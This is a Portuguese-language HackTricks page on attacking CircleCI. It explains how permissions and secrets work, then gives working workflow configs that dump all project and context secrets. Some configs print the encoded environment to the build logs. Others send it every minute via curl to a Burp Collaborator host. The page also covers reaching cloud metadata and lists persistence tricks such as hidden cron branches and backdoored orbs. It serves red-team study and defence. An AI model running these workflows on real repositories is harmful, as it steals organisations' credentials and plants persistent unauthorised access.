CircleCI Security
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
CircleCI é uma plataforma de Integração Contínua onde você pode definir templates indicando o que deseja que ela faça com algum código e quando fazê-lo. Dessa forma, você pode automatizar testes ou implantações diretamente da sua branch principal do repositório, por exemplo.
Permissões
CircleCI herda as permissões do github e bitbucket relacionadas à conta que faz login.
Nos meus testes, verifiquei que, desde que você tenha permissões de escrita sobre o repositório no github, você poderá gerenciar as configurações do projeto no CircleCI (definir novas chaves ssh, obter chaves de api do projeto, criar novas branches com novas configurações do CircleCI...).
No entanto, você precisa ser um administrador do repositório para converter o repositório em um projeto CircleCI.
Variáveis de Ambiente & Segredos
De acordo com a documentação, existem diferentes maneiras de carregar valores em variáveis de ambiente dentro de um fluxo de trabalho.
Variáveis de ambiente integradas
Todo contêiner executado pelo CircleCI sempre terá variáveis de ambiente específicas definidas na documentação como CIRCLE_PR_USERNAME
, CIRCLE_PROJECT_REPONAME
ou CIRCLE_USERNAME
.
Texto claro
Você pode declará-las em texto claro dentro de um comando:
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
Você pode declará-los em texto claro dentro do run environment:
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
Você pode declará-los em texto claro dentro do ambiente de build-job:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Você pode declará-los em texto claro dentro do ambiente de um contêiner:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Segredos do Projeto
Estes são segredos que só serão acessíveis pelo projeto (por qualquer branch).
Você pode vê-los declarados em https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables
caution
A funcionalidade "Import Variables" permite importar variáveis de outros projetos para este.
Segredos de Contexto
Estes são segredos que são ampla organização. Por padrão, qualquer repo poderá acessar qualquer segredo armazenado aqui:
tip
No entanto, observe que um grupo diferente (em vez de Todos os membros) pode ser selecionado para dar acesso apenas a pessoas específicas.
Esta é atualmente uma das melhores maneiras de aumentar a segurança dos segredos, para não permitir que todos os acessem, mas apenas algumas pessoas.
Ataques
Buscar Segredos em Texto Claro
Se você tiver acesso ao VCS (como github), verifique o arquivo .circleci/config.yml
de cada repo em cada branch e busque por potenciais segredos em texto claro armazenados lá.
Enumeração de Variáveis de Ambiente Secretas & Contexto
Verificando o código, você pode encontrar todos os nomes dos segredos que estão sendo usados em cada arquivo .circleci/config.yml
. Você também pode obter os nomes dos contextos desses arquivos ou verificá-los no console da web: https://app.circleci.com/settings/organization/github/<org_name>/contexts.
Exfiltrar Segredos do Projeto
warning
Para exfiltrar TODOS os SEGREDOS do projeto e do contexto, você apenas precisa ter acesso WRITE a apenas 1 repo em toda a organização do github (e sua conta deve ter acesso aos contextos, mas por padrão todos podem acessar todos os contextos).
caution
A funcionalidade "Import Variables" permite importar variáveis de outros projetos para este. Portanto, um atacante poderia importar todas as variáveis do projeto de todos os repos e então exfiltrar todas elas juntas.
Todos os segredos do projeto sempre são definidos no env dos jobs, então apenas chamando env e ofuscando-o em base64 irá exfiltrar os segredos no console de log da web dos workflows:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
Se você não tem acesso ao console da web mas tem acesso ao repositório e sabe que o CircleCI é usado, você pode simplesmente criar um fluxo de trabalho que é disparado a cada minuto e que exfiltra os segredos para um endereço externo:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
Exfiltrar Segredos de Contexto
Você precisa especificar o nome do contexto (isso também exfiltrará os segredos do projeto):
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
Se você não tem acesso ao console da web mas tem acesso ao repositório e sabe que o CircleCI é usado, você pode simplesmente modificar um fluxo de trabalho que é disparado a cada minuto e que exfiltra os segredos para um endereço externo:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
warning
Apenas criar um novo .circleci/config.yml
em um repositório não é suficiente para acionar uma construção do circleci. Você precisa habilitá-lo como um projeto no console do circleci.
Escape to Cloud
CircleCI oferece a opção de executar suas construções em suas máquinas ou em suas próprias.
Por padrão, suas máquinas estão localizadas no GCP, e você inicialmente não conseguirá encontrar nada relevante. No entanto, se uma vítima estiver executando as tarefas em suas próprias máquinas (potencialmente, em um ambiente de nuvem), você pode encontrar um endpoint de metadados da nuvem com informações interessantes.
Observe que nos exemplos anteriores tudo foi lançado dentro de um contêiner docker, mas você também pode pedir para lançar uma máquina VM (que pode ter permissões de nuvem diferentes):
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
Ou até mesmo um contêiner docker com acesso a um serviço docker remoto:
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
Persistência
- É possível criar tokens de usuário no CircleCI para acessar os endpoints da API com o acesso dos usuários.
- https://app.circleci.com/settings/user/tokens
- É possível criar tokens de projetos para acessar o projeto com as permissões dadas ao token.
- https://app.circleci.com/settings/project/github/<org>/<repo>/api
- É possível adicionar chaves SSH aos projetos.
- https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
- É possível criar um cron job em uma branch oculta em um projeto inesperado que está vazando todas as variáveis de contexto env todos os dias.
- Ou até mesmo criar em uma branch / modificar um job conhecido que irá vazar todos os segredos de contexto e projetos todos os dias.
- Se você é um proprietário do github, pode permitir orbs não verificados e configurar um em um job como backdoor.
- Você pode encontrar uma vulnerabilidade de injeção de comando em alguma tarefa e injetar comandos via um secreto modificando seu valor.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.